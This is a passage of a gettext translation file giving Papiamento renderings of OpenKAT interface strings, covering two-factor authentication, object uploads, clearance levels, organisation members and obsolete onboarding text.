rocky/templates/two_factor/core/setup_complete.html\nmsgid \"Start using OpenKAT\"\nmsgstr \"Kuminsa huza OpenKAT\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"\"\n\"However, it might happen that you don't have access to your primary token \"\n\"device. To enable account recovery, add a phone number.\"\nmsgstr \"\"\n\"Sin embargo, por pasa ku bo no tin acceso na bo prome token aparato. Pa \"\n\"activá rekuperashon di account, añadí un number di telefón.\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Add Phone Number\"\nmsgstr \"Añadí Number di Telefòn\"\n\n#: rocky/templates/two_factor/profile/disable.html\nmsgid \"Disable Two-factor Authentication\"\nmsgstr \"Desactivá Two-factor Authentication\"\n\n#: rocky/templates/two_factor/profile/disable.html\nmsgid \"\"\n\"You are about to disable two-factor authentication. This weakens your \"\n\"account security, are you sure?\"\nmsgstr \"\"\n\"Bo ta na e punto di desactivá two-factor authentication. Esaki ta bai baha \"\n\"bo seguridat di account, bo ta sigur?\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Account Security\"\nmsgstr \"Seguridát di Account\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Tokens will be generated by your token generator.\"\nmsgstr \"Tokens lo wòrdu generá via di bo token generadór.\"\n\n#: rocky/templates/two_factor/profile/profile.html\n#, python-format\nmsgid \"Primary method: %(primary)s\"\nmsgstr \"Promé methodó: %(primary)s\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Tokens will be generated by your YubiKey.\"\nmsgstr \"Tokens lo wordu generá via di bo YubiKey.\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Backup Phone Numbers\"\nmsgstr \"Backup Number di Telefòn\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"If your primary method is not available, we are able to send backup tokens \"\n\"to the phone numbers listed below.\"\nmsgstr \"\"\n\"Si bo prome methodó no ta alkansabel, nos tin e posibilidát di manda backup \"\n\"tokens na e numbernan di telefòn den e lista abou.\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Unregister\"\nmsgstr \"De-registrá\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"If you don't have any device with you, you can access your account using \"\n\"backup tokens.\"\nmsgstr \"\"\n\"Si bo no tin ningún aparato serka bo, bo por haya acceso na bo account dor \"\n\"di uza backup tokens.\"\n\n#: rocky/templates/two_factor/profile/profile.html\n#, python-format\nmsgid \"You have only one backup token remaining.\"\nmsgid_plural \"You have %(counter)s backup tokens remaining.\"\nmsgstr[0] \"Bo a sobra solamente un backup token.\"\nmsgstr[1] \"Bo a sobra %(counter)s backup tokens.\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Show Codes\"\nmsgstr \"Mustra Codigónan\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Disable Two-Factor Authentication\"\nmsgstr \"Desaktivá Two-Factor Authentication\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"However we strongly discourage you to do so, you can also disable two-factor \"\n\"authentication for your account.\"\nmsgstr \"\"\n\"Sin embargo, nos no ta rekomendá bo hasi esaki, tambe bo por desaktivá two-\"\n\"factor authentication pa bo account.\"\n\n#: rocky/templates/two_factor/twilio/sms_message.html\n#, python-format\nmsgid \"Your OTP token is %(token)s\"\nmsgstr \"Bo OTP token ta %(token)s\"\n\n#: rocky/templates/upload_csv.html\nmsgid \"Automate the creation of multiple objects by uploading a CSV file.\"\nmsgstr \"\"\n\"Automatisá a kreashon di diferente ophetonan dor di upload un CSV file.\"\n\n#: rocky/templates/upload_csv.html\nmsgid \"These are the criteria for CSV upload:\"\nmsgstr \"Esakinan ta e kriterianan pa upload CSV:\"\n\n#: rocky/templates/upload_raw.html\nmsgid \"Automate the creation of multiple objects by uploading a raw file.\"\nmsgstr \"Automatizá e kreo di varios ophetonan dor di karga un arkivo.\"\n\n#: rocky/templates/upload_raw.html\nmsgid \"\"\n\"An input OOI can be selected for the normalizer to attach newly yielded OOIs \"\n\"to. If no input OOI was used for the raw file, a placeholder ExternalScan \"\n\"OOI can be used. ExternalScan OOIs can be created from the objects page. \"\n\"When a new version of the raw file is generated, the same ExternalScan OOI \"\n\"should be chosen to ensure that old results are overwritten.\"\nmsgstr \"\"\n\n#: rocky/templates/upload_raw.html rocky/views/upload_raw.py\nmsgid \"Upload raw\"\nmsgstr \"Karga CSV\"\n\n#: rocky/views/bytes_raw.py\nmsgid \"Getting raw data failed.\"\nmsgstr \"\"\n\n#: rocky/views/bytes_raw.py\nmsgid \"The task does not have any raw data.\"\nmsgstr \"\"\n\n#: rocky/views/finding_list.py rocky/views/ooi_list.py\nmsgid \"Unknown action.\"\nmsgstr \"Akshon deskonosí.\"\n\n#: rocky/views/health.py\nmsgid \"Beautified\"\nmsgstr \"Bunitifiká\"\n\n#: rocky/views/indemnification_add.py\nmsgid \"Indemnification successfully set.\"\nmsgstr \"Indemnizashon pone ku èxito.\"\n\n#: rocky/views/mixins.py\nmsgid \"The selected date is in the future.\"\nmsgstr \"\"\n\n#: rocky/views/mixins.py\nmsgid \"Can not parse date, falling back to show current date.\"\nmsgstr \"\"\n\n#: rocky/views/mixins.py\nmsgid \"You do not have the permission to add items to a dashboard.\"\nmsgstr \"\"\n\n#: rocky/views/mixins.py\nmsgid \"Dashboard item has been added.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_add.py\n#, python-format\nmsgid \"Add %(ooi_type)s\"\nmsgstr \"Añadí %(ooi_type)s\"\n\n#: rocky/views/ooi_detail.py\nmsgid \"\"\n\"Cannot set clearance level. It must be provided and must be a valid number.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_detail.py\nmsgid \"Only Question OOIs can be answered.\"\nmsgstr \"Solamente Question OOIs por ser respondí.\"\n\n#: rocky/views/ooi_detail.py\nmsgid \"Question has been answered.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_detail_related_object.py\nmsgid \" (as \"\nmsgstr \" (mane \"\n\n#: rocky/views/ooi_findings.py\nmsgid \"Object findings\"\nmsgstr \"Diskubrimentunan di opheto\"\n\n#: rocky/views/ooi_list.py\nmsgid \"No OOIs selected.\"\nmsgstr \"Ningun OOI selektá.\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance levels to L%s. Indemnification not present at \"\n\"organization %s.\"\nmsgstr \"\"\n\"No por a hasi e nivel di autorishon subi pa L%s. Indemnisashon no ta \"\n\"presente na e organisashon %s.\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level to L%s. You were trusted a clearance level \"\n\"of L%s. Contact your administrator to receive a higher clearance.\"\nmsgstr \"\"\n\"No por a subi e nivel di autorisashon na L%s. Confiansa tabata duna pa un \"\n\"nivel di autorashon di L%s. Tuma kontakto ku bo administrator pa haña un \"\n\"nivel di autorisashon mas halto.\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level to L%s. You acknowledged a clearance level \"\n\"of L%s. Please accept the clearance level below to proceed.\"\nmsgstr \"\"\n\"No por a subi na e nivel di autorisashon pa L%s. Bo a rekonosé un nivel di \"\n\"autorisashon di L%s. Por fabor, akseptá e nivel di autorisashon abou pa por \"\n\"sigui.\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while saving clearance levels.\"\nmsgstr \"Un error a sosodé durante e guardamentu di nivelnan di autorisashon.\"\n\n#: rocky/views/ooi_list.py\nmsgid \"One of the OOI's doesn't exist\"\nmsgstr \"Un di e OOI nan no ta eksistí.\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"Successfully set scan profile to %s for %d OOIs.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while setting clearance levels to inherit.\"\nmsgstr \"\"\n\"Un error a sosodé durante e ajuste di nivelnan di autorisashon pa heredà.\"\n\n#: rocky/views/ooi_list.py\nmsgid \"\"\n\"An error occurred while setting clearance levels to inherit: one of the OOIs \"\n\"doesn't exist.\"\nmsgstr \"\"\n\"Un error a sosodé durante e ajuste di nivelnan di autorisashon pa heredá: un \"\n\"di e OOI nan no ta eksistí.\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"Successfully set %d OOI(s) clearance level to inherit.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while deleting oois.\"\nmsgstr \"Un error a sosodé durante e eliminashon di OOI nan.\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while deleting OOIs: one of the OOIs doesn't exist.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Successfully deleted %d ooi(s). Note: Bits can recreate objects \"\n\"automatically.\"\nmsgstr \"\"\n\"Ku exito a kita %d ooi(s). Nota: Bits por automatikamente krea ophetonan \"\n\"dinobo.\"\n\n#: rocky/views/ooi_mute.py\nmsgid \"Please select at least one finding.\"\nmsgstr \"Por fabor, selektá al menos un diskubrimentu.\"\n\n#: rocky/views/ooi_mute.py\nmsgid \"Finding(s) successfully unmuted.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_mute.py\nmsgid \"Finding(s) successfully muted.\"\nmsgstr \"Diskubrimentu(nan) mutá ku éksito.\"\n\n#: rocky/views/ooi_tree.py\nmsgid \"Tree Visualisation\"\nmsgstr \"Visualisá mapa di resultado\"\n\n#: rocky/views/ooi_tree.py\nmsgid \"Graph Visualisation\"\nmsgstr \"Visualisá grafa\"\n\n#: rocky/views/ooi_view.py\nmsgid \"Observed_at: \"\nmsgstr \"\"\n\n#: rocky/views/ooi_view.py\nmsgid \"OOI types: \"\nmsgstr \"OOI-tiponan: \"\n\n#: rocky/views/ooi_view.py\nmsgid \"Clearance level: \"\nmsgstr \"Nivél di autorisashon: \"\n\n#: rocky/views/ooi_view.py\nmsgid \"Clearance type: \"\nmsgstr \"Tipo di autorisashon: \"\n\n#: rocky/views/ooi_view.py\nmsgid \"Searching for: \"\nmsgstr \"\"\n\n#: rocky/views/organization_add.py\nmsgid \"Setup\"\nmsgstr \"Setup\"\n\n#: rocky/views/organization_add.py\nmsgid \"Organization added successfully.\"\nmsgstr \"Organisashon a wordu agregá ku éksito.\"\n\n#: rocky/views/organization_add.py\nmsgid \"You are not allowed to add organizations.\"\nmsgstr \"Bo no ta pèrmiti pa añadi organisashonnan\"\n\n#: rocky/views/organization_edit.py\n#, python-format\nmsgid \"Organization %s successfully updated.\"\nmsgstr \"Organisashon %s a wordu kambia ku éksito.\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Add column titles, followed by each object on a new line.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"The columns are: \"\nmsgstr \"E kolumnannan ta: \"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Clearance levels should be between -1 and 4.\"\nmsgstr \"Niveles di autorisashon mester ta entre -1 i 4.\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Account type can be one of: \"\nmsgstr \"Tipo di kuenta por ta un di e siguiente: \"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Member added successfully.\"\nmsgstr \"Miembro a wòrdu agregá ku èksito.\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"The csv file is missing required columns\"\nmsgstr \"E archivo csv ta falta kolumnanan necesario\"\n\n#: rocky/views/organization_member_add.py\n#, python-brace-format\nmsgid \"Invalid account type: '{account_type}'\"\nmsgstr \"Tipo di kuenta no válido: '{account_type}'\"\n\n#: rocky/views/organization_member_add.py\n#, python-brace-format\nmsgid \"Invalid data for: '{email}'\"\nmsgstr \"Datos no válido pa: '{email}'\"\n\n#: rocky/views/organization_member_add.py\n#, python-brace-format\nmsgid \"Invalid email address: '{email}'\"\nmsgstr \"Adres di email no válido: '{email}'\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Successfully processed users from csv.\"\nmsgstr \"Usuarionan a ser prosesá exitosamente for di csv.\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Error parsing the csv file. Please verify its contents.\"\nmsgstr \"Error analizando e archivo csv. Por fabor, verifica su kontenido.\"\n\n#: rocky/views/organization_member_edit.py\n#, python-format\nmsgid \"Member %s successfully updated.\"\nmsgstr \"Miembro %s a wòrdu kambia ku èksito.\"\n\n#: rocky/views/organization_member_edit.py\n#, python-format\nmsgid \"\"\n\"The updated trusted clearance level of L%s is lower then the member's \"\n\"acknowledged clearance level of L%s. This member only has clearance for \"\n\"level L%s. For this reason the acknowledged clearance level has been set at \"\n\"the same level as trusted clearance level.\"\nmsgstr \"\"\n\"E nivel di autorisashon di konfiansa ku a wordu kambia pa L%s ta mas abou ku \"\n\"e nivel di autorisashon di L%s di e miembro. E miembro aki solamente tin \"\n\"autorisashon pa nivel L%s. Pa e motibu aki, e nivel di autorisashon a wordu \"\n\"ajustá na e mesun nivel ku e nivel di autorisashon di konfiansa.\"\n\n#: rocky/views/organization_member_edit.py\nmsgid \"\"\n\"You have trusted this member with a higher trusted level than member \"\n\"acknowledged. Member must first accept this level to use it.\"\nmsgstr \"\"\n\"Bo a konfia riba e miembro aki ku un nivel di konfiansa mas haltu ku e nivel \"\n\"ku e miembro a rekonosé. E miembro mester akseptá promé e nivel aki pa por \"\n\"us'é.\"\n\n#: rocky/views/organization_member_list.py\n#, python-format\nmsgid \"Blocked member %s successfully.\"\nmsgstr \"Miembro %s a wordu blokeá ku éksito.\"\n\n#: rocky/views/organization_member_list.py\n#, python-format\nmsgid \"Unblocked member %s successfully.\"\nmsgstr \"Miembro %s a wordu desblokeá ku éksito.\"\n\n#: rocky/views/organization_settings.py\n#, python-brace-format\nmsgid \"Recalculated {number_of_bits} bits. Duration: {duration}\"\nmsgstr \"Reskalkulá {number_of_bits} bits. Durashon: {duration}\"\n\n#: rocky/views/page_actions.py\nmsgid \"Could not process your request, action required.\"\nmsgstr \"\"\n\n#: rocky/views/scan_profile.py\nmsgid \"\"\n\"Cannot set clearance level. The clearance type must be inherited or declared.\"\nmsgstr \"\"\n\n#: rocky/views/scans.py\nmsgid \"Scans\"\nmsgstr \"Skènnan\"\n\n#: rocky/views/scheduler.py\nmsgid \"Your report has been scheduled.\"\nmsgstr \"\"\n\n#: rocky/views/scheduler.py\nmsgid \"\"\n\"Your task is scheduled and will soon be started in the background. Results \"\n\"will be added to the object list when they are in. It may take some time, a \"\n\"refresh of the page may be needed to show the results.\"\nmsgstr \"\"\n\n#: rocky/views/tasks.py\n#, python-brace-format\nmsgid \"Fetching tasks failed: no connection with scheduler: {error}\"\nmsgstr \"\"\n\n#: rocky/views/tasks.py\nmsgid \"All Tasks\"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"Add column titles. Followed by each object on a new line.\"\nmsgstr \"Añadi titulo pa kòlòm. Sigi pa kada opheto riba un liña nobo.\"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"For URL object type, a column 'raw' with URL values is required, starting \"\n\"with http:// or https://, optionally a second column 'network' is supported \"\nmsgstr \"\"\n\"Pa tipo di opheto URL, un kòlòm 'raw' ku balornan URL ta requerí, kuminsando \"\n\"ku http:// òf https://, optionalmente un siguinte kòlòm 'network' ta atmiti \"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"For Hostname object type, a column with 'name' values is required, \"\n\"optionally a second column 'network' is supported \"\nmsgstr \"\"\n\"Pa tipo di opheto Hostname, un kòlòm ku 'name' balornan ta requerí, \"\n\"opcionalmente un siguinte kòlòm 'network' ta atmiti \"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"For IPAddressV4 and IPAddressV6 object types, a column of 'address' is \"\n\"required, optionally a second column 'network' is supported \"\nmsgstr \"\"\n\"Pa tipo di ophetonan IPAddressV4 and IPAddressV6, un kòlòm di 'address' ta \"\n\"requerí, opcionalmente un siguinte kòlòm 'network' ta atmiti \"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"Clearance levels can be controlled by a column 'clearance' taking numerical \"\n\"values 0, 1, 2, 3, and 4 for the corresponding clearance level (other values \"\n\"are ignored) \"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"Object(s) could not be created for row number(s): \"\nmsgstr \"Opheto(nan) no por a wordu krea pa e liña(nan): \"\n\n#: rocky/views/upload_csv.py\nmsgid \"Object(s) successfully added.\"\nmsgstr \"Opheto(nan) añadi ku èxito.\"\n\n#: rocky/views/upload_raw.py\n#, python-format\nmsgid \"Raw file could not be uploaded to Bytes: status code %d\"\nmsgstr \"\"\n\n#: rocky/views/upload_raw.py\n#, python-format\nmsgid \"Raw file could not be uploaded to Bytes: %s\"\nmsgstr \"\"\n\n#: rocky/views/upload_raw.py\nmsgid \"Raw file successfully added.\"\nmsgstr \"Arkivo crudo añadi ku èxito.\"\n\n#~ msgid \"Clearance level has been set\"\n#~ msgstr \"Nivel di autorisashon a ser poni\"\n\n#~ msgid \"Add URL\"\n#~ msgstr \"Añadi URL\"\n\n#~ msgid \"\"\n#~ \"Boefjes that has a scan level below or equal to the clearance level, is \"\n#~ \"permitted to scan an object.\"\n#~ msgstr \"\"\n#~ \"Boefjes ku tin un nivél di skan mas abou of parew ku e nivél di \"\n#~ \"autorisashon, tin pèrmit pa skan un opheto.\"\n\n#~ msgid \"Delete object(s)\"\n#~ msgstr \"Kita opheto(nan)\"\n\n#~ msgid \"Set clearance level to inherit\"\n#~ msgstr \"Pone nivél di autorisashon na heredá\"\n\n#~ msgid \"Set clearance level for:\"\n#~ msgstr \"Pone nivél di autorisashon pa:\"\n\n#~ msgid \"Setting the scan level from \\\\\"\n#~ msgstr \"Ajustando e nivel di skan for di \\\\\"\n\n#~ msgid \"You are about to set the clearance level from \\\\\"\n#~ msgstr \"Bo ta na e punto di pone e nivél di autorisashon for di \\\\\"\n\n#~ msgid \"Yes, set to inherit\"\n#~ msgstr \"Si, poné na heredá\"\n\n#, python-format\n#~ msgid \"Successfully set scan profile to %s for %d oois.\"\n#~ msgstr \"Ku exito a pone profil di skén pa %s pa %d oois.\"\n\n#, python-format\n#~ msgid \"Successfully set %d ooi(s) clearance level to inherit.\"\n#~ msgstr \"Éksito den ajustá %d OOI(s) nivel di autorisashon pa heredá.\"\n\n#~ msgid \"\"\n#~ \"An error occurred while deleting oois: one of the OOIs doesn't exist.\"\n#~ msgstr \"\"\n#~ \"Un error a sosodé durante e eliminashon di OOI nan: un di e OOI nan no ta \"\n#~ \"eksistí.\"\n\n#, python-brace-format\n#~ msgid \"Can not reset scan level. Scan level of {ooi_name} not declared\"\n#~ msgstr \"\"\n#~ \"No por resèt nivél di skan. Nivél di skan òf {ooi_name} no ta deklará\"\n\n#~ msgid \"The Email must be set\"\n#~ msgstr \"E email adrès mester wordu yena\"\n\n#~ msgid \"E-mail address\"\n#~ msgstr \"Email adrès\"\n\n#~ msgid \"\"\n#~ \"Dozens of tools are integrated in OpenKAT to view the world (digital and \"\n#~ \"analog). <br> Our motto is therefore: I see, I see, what you do not see.\"\n#~ msgstr \"\"\n#~ \"Dosen di hermentnan ta integrá den OpenKAT pa mira e mundu (digital i \"\n#~ \"anoloog). <br>Nos lema ta: Mi ta mira, mi ta mira loke bo no ta mira.\"\n\n#~ msgid \"E-mail\"\n#~ msgstr \"E-korreo\"\n\n#, python-brace-format\n#~ msgid \"A unique code of {code_length} characters.\"\n#~ msgstr \"Un codigo uniko di {code_length} letras.\"\n\n#~ msgid \"\"\n#~ \"I declare that OpenKAT may scan the assets of my organization and that I \"\n#~ \"have permission to scan these assets. I am aware of the implications a \"\n#~ \"scan with a higher scan level brings on my systems.\"\n#~ msgstr \"\"\n#~ \"Mi ta deklara ku OpenKAT por skan e propiedatnan di mi organisashon i ku \"\n#~ \"mi tin pèrmit pa skan e propiedatnan aki. Mi ta konsiente di e \"\n#~ \"implikashonnan un skan ku nivel di skan haltu tin riba mi sistemanan.\"\n\n#~ msgid \"\"\n#~ \"I declare that I am authorized to give this indemnification within my \"\n#~ \"organization. I have the experience and knowledge to know what the \"\n#~ \"consequences might be and can be held responsible for them.\"\n#~ msgstr \"\"\n#~ \"Mi ta deklará ku mi tin autorisashon pa duna e indemnisashon aki den mi \"\n#~ \"organisashon. Mi tin e eksperensia i konosementu pa sa e konsekensianan i \"\n#~ \"mi por ta responsabel pa nan.\"\n\n#~ msgid \"Register\"\n#~ msgstr \"Registrá\"\n\n#~ msgid \"Create a new account for your organization\"\n#~ msgstr \"Krea un account nobo pa bo organisashon\"\n\n#~ msgid \"\"\n#~ \"All user  accounts are part of an organization. So if you’re new and your \"\n#~ \"company is also new to OpenKAT you can register here to create a OpenKAT \"\n#~ \"account for your company including an admin account for you. If you like \"\n#~ \"a user account that is connected to an already existing organization \"\n#~ \"within OpenKAT you can ask the admin to create an account for you.\"\n#~ msgstr \"\"\n#~ \"Tur account ta parti di un organisashon. Kèmèn si bo ta nobo i bo \"\n#~ \"kompania tambe ta nobo na OpenKAT bo por registrá akinan pa krea un \"\n#~ \"OpenKAT account pa bo kompania inkluéndo un admin account pa bo. Si bo ke \"\n#~ \"un account ku ta konekta ku un organisashon ku ta èksisti kaba na KAT bo \"\n#~ \"por puntra e admin pa krea un account pa bo.\"\n\n#~ msgid \"How does OpenKAT work\"\n#~ msgstr \"Kon OpenKAT ta functiona?\"\n\n#~ msgid \"\"\n#~ \"OpenKAT is able to give insight into security risks on your online \"\n#~ \"objects. For example, your websites, mailservers or online data. OpenKAT \"\n#~ \"uses scans to find and assess the area's that might be at risk and \"\n#~ \"reports these back to you. As a user you decide which insight you would \"\n#~ \"like and OpenKAT guides you to through the process. During this \"\n#~ \"introduction you will be guided through the steps to create a report.\"\n#~ msgstr \"\"\n#~ \"OpenKAT tin e posibilidàt di duna informashon mas detaya den riésgonan di \"\n#~ \"siguridát di bo online ophetonan. Por ehempel, bo websites, mailservers \"\n#~ \"òf online data. OpenKAT ta úza scans pa enkontra i asertà areanan ku por \"\n#~ \"kore riésgo i rapòrta esaki bèk na abo. Komo kliente bo ta skohè ki \"\n#~ \"informashon bo ke i OpenKAT ta guiá'bu dor di e proceso Durante e \"\n#~ \"introdukshon aki bo lo wòrdu guiá dor di e stapnan pa traha un rapòrt.\"\n\n#~ msgid \"OpenKAT setup\"\n#~ msgstr \"OpenKAT setup\"\n\n#~ msgid \"\"\n#~ \"Please enter the following organization details. These details can be \"\n#~ \"edited within the organization page within OpenKAT when necessary. Adding \"\n#~ \"a new organization requires a new database.\"\n#~ msgstr \"\"\n#~ \"Por fabor pone e detayenan di e siguiente organisashon. E detayenan aki \"\n#~ \"por wordu editá den e página di organisashon den OpenKAT si ta nesesario. \"\n#~ \"Agregá un organisashon nobo ta requeri un base di datos nobo.\"\n\n#~ msgid \"Account setup\"\n#~ msgstr \"Account setup\"\n\n#~ msgid \"Organization setup with separate accounts:\"\n#~ msgstr \"Konfigurá organisashon ku accountnan separá:\"\n\n#~ msgid \"\"\n#~ \"Within OpenKAT it is possible to create separate user accounts with the \"\n#~ \"specific roles. Each with their own functionalities and permissions. This \"\n#~ \"is useful when multiple people will be working with the same OpenKAT-\"\n#~ \"setup. You can choose to create the separate accounts during this \"\n#~ \"introduction or when you’re ready from the OpenKAT users page.\"\n#~ msgstr \"\"\n#~ \"Den OpenKAT ta posibel pa krea accountnan separá ku e ròlnan specìfiko \"\n#~ \"kada un ku nan mes functionalidat ì pèrmitnan. Esaki ta útil ora mayoria \"\n#~ \"hende ke traha ku e mesun OpenKAT-setup. Bo por skohé pa krea e \"\n#~ \"accountnan separá durante e introdukshon aki of ora bo ta kla.\"\n\n#~ msgid \"Single account setup:\"\n#~ msgstr \"Setup account pa mi mes:\"\n\n#~ msgid \"\"\n#~ \"Alternatively it is also an option to run OpenKAT from a single user \"\n#~ \"account. Which is useful when you are the only user in the account. You \"\n#~ \"will be able to access the functionality of the different roles from your \"\n#~ \"account. You can always add additional user accounts If you’re team \"\n#~ \"expands in the future.\"\n#~ msgstr \"\"\n#~ \"Alternativamente tambe ta un opshón pa huza OpenKAT for di un solo \"\n#~ \"account. Ku ta útil si bo ta e úniko usadó di e account. Bo lo por tin e \"\n#~ \"posibilidát pa tin accesso na functionalidatnan di e diferente ròlnan for \"\n#~ \"di bo account. Abo por semper añadi accountnan adishonál si bo tìm \"\n#~ \"expandé den futuro.\"\n\n#~ msgid \"Create separate accounts\"\n#~ msgstr \"Krea accountnan separá\"\n\n#~ msgid \"Continue with this account, onboard me!\"\n#~ msgstr \"Sigi ku e account aki, abòrdami!\"\n\n#~ msgid \"Users\"\n#~ msgstr \"Usarionan\"\n\n#~ msgid \"\"\n#~ \"Within OpenKAT there are three types of user accounts. Each has its own \"\n#~ \"functions.\"\n#~ msgstr \"\"\n#~ \"Den OpenKAT tin trés diferente tipo di user accounts. Kada ún tin su mes \"\n#~ \"funkshón.\"\n\n#~ msgid \"Admin\"\n#~ msgstr \"Admin\"\n\n#~ msgid \"\"\n#~ \"Each organization must have an admin. The admin can create and manage \"\n#~ \"user accounts as well as organization details.\"\n#~ msgstr \"\"\n#~ \"Kada organisashon mester tin un admin. E admin por krea i manehá \"\n#~ \"accountnan pa usudonan i tambe detayes di organisashon.\"\n\n#~ msgid \"Red teamer\"\n#~ msgstr \"Tìm kòrá\"\n\n#~ msgid \"A red teamer account can run scans and generate reports.\"\n#~ msgstr \"Un account pa tìm kòrá por start scans òf generá rapòrtnan.\"\n\n#~ msgid \"Client account\"\n#~ msgstr \"Account pa kliénte\"\n\n#~ msgid \"A client account can access reports.\"\n#~ msgstr \"Un account pa kliénte por tin accesso na rapòrtnan.\"\n\n#~ msgid \"\"\n#~ \"Each organization requires at least one admin and one red teamer account \"\n#~ \"to function. This introduction will guide you through the setup of both. \"\n#~ \"After that you can choose to add a client account as well.\"\n#~ msgstr \"\"\n#~ \"Kada organisashon ta requerì sikiera ún admin ì ún tìm kòrá account pa \"\n#~ \"functioná. É introdukshon aki ta guiabu pa setup tur dós. Despues ku bo \"\n#~ \"por skohé pa añadi ún account pa kliénte tambe.\"\n\n#~ msgid \"Let's add accounts\"\n#~ msgstr \"Laga nos añadi accounts\"\n\n#~ msgid \"Admin account setup\"\n#~ msgstr \"Account setup pa admin\"\n\n#~ msgid \"Admin details\"\n#~ msgstr \"Admin detayes\"\n\n#~ msgid \"Skip this step\"\n#~ msgstr \"Salta e stèp aki\"\n\n#~ msgid \"Go back to previous step\"\n#~ msgstr \"Bai bèk na e stèp anterior\"\n\n#~ msgid \"Red teamer account setup\"\n#~ msgstr \"Setup account pa tìm kòrà\"\n\n#~ msgid \"Red teamer details\"\n#~ msgstr \"Tìm kòrà detayes\"\n\n#~ msgid \"Client account setup (optional)\"\n#~ msgstr \"Setup account pa kliénte (opcionàl)\"\n\n#~ msgid \"\"\n#~ \"A client account can access reports. Adding a client account to the \"\n#~ \"organization is optional.\"\n#~ msgstr \"\"\n#~ \"Un account pa kliénte por tin accesso na rapòrtnan. Añadi un account pa \"\n#~ \"kliénte na e organisashon ta optionàl.\"\n\n#~ msgid \"User details\"\n#~ msgstr \"Usario detayes\"\n\n#~ msgid \"Finish organization setup\"\n#~ msgstr \"Finalisá setup organisashon\"\n\n#~ msgid \"\"\n#~ \"OpenKAT is the \\\"Kwetsbaarheden Analyse Tool\\\" (Vulnerabilities Analysis \"\n#~ \"Tool). An Open-Source-project developed by the Ministry of Health, \"\n#~ \"Welfare and Sport to make your and our world a safer place.\"\n#~ msgstr \"\"\n#~ \"OpenKAT ta e \\\"Kwetsbaarheden Analyse Tool\\\" (tool pa hasi análisis di \"\n#~ \"bulerabilidat). Un proyekto Open Source desaroyá pa Ministerio di Salú \"\n#~ \"Públiko, Salú i Deporte pa hasi nos mundu un lugar mas sigur pa bo i nos.\"\n\n#~ msgid \"\"\n#~ \"OpenKAT is able to give insight into security risks on your online \"\n#~ \"objects. For example, your websites, mailservers or online data.\"\n#~ msgstr \"\"\n#~ \"OpenKAT tin e abilidát di duna revelashon di riésgonan di siguridát di bo \"\n#~ \"online ophetonan. Por ehèmpel, bo website nan, mailservers òf online data.\"\n\n#~ msgid \"\"\n#~ \"OpenKAT uses plugins to find and assess the area's that might be at risk \"\n#~ \"and reports these back to you. Each plugin has its own skillset which \"\n#~ \"could be scanning, normalizing or analyzing data. As a user you decide \"\n#~ \"which areas you would like to monitor or scan and which insight you would \"\n#~ \"like to receive.\"\n#~ msgstr \"\"\n#~ \"OpenKAT ta huza plugins pa deskubrì i evalúa e areanan ku por ta un \"\n#~ \"riésgo i rapòrta esaki bèk na bo. Kada plugin tin nan mes sèt di abilidát \"\n#~ \"ku por ta scan, nòrmalisá òf analisá data. Komo usario bo ta disidì kwa \"\n#~ \"area bo tin gana di monitoriá òf skan i tambe ki tipo di revelashon bo \"\n#~ \"tin gana di recibí.\"\n\n#~ msgid \"\"\n#~ \"Within OpenKAT you can view the insights as well as all the data OpenKAT \"\n#~ \"has found. You can choose to browse through the data or view reports.\"\n#~ msgstr \"\"\n#~ \"Den OpenKAT bo por mira e insights i tambe tur data ku KAT a deskubrì. Bo \"\n#~ \"por skohé pa buska den e data òf wak rapòrt nan.\"\n\n#~ msgid \"\"\n#~ \"During this introduction you will be guided through the steps to create a \"\n#~ \"report.\"\n#~ msgstr \"\"\n#~ \"Durante e introdukshon aki bo lo wordu guiá dor di e stap nan pa krea un \"\n#~ \"rapòrt.\"\n\n#~ msgid \"OpenKAT introduction\"\n#~ msgstr \"OpenKAT introdukshon\"\n\n#~ msgid \"Choose a report - Introduction\"\n#~ msgstr \"Skohé un rapòrt - Introduskhon\"\n\n#~ msgid \"\"\n#~ \"Reports within OpenKAT contain an 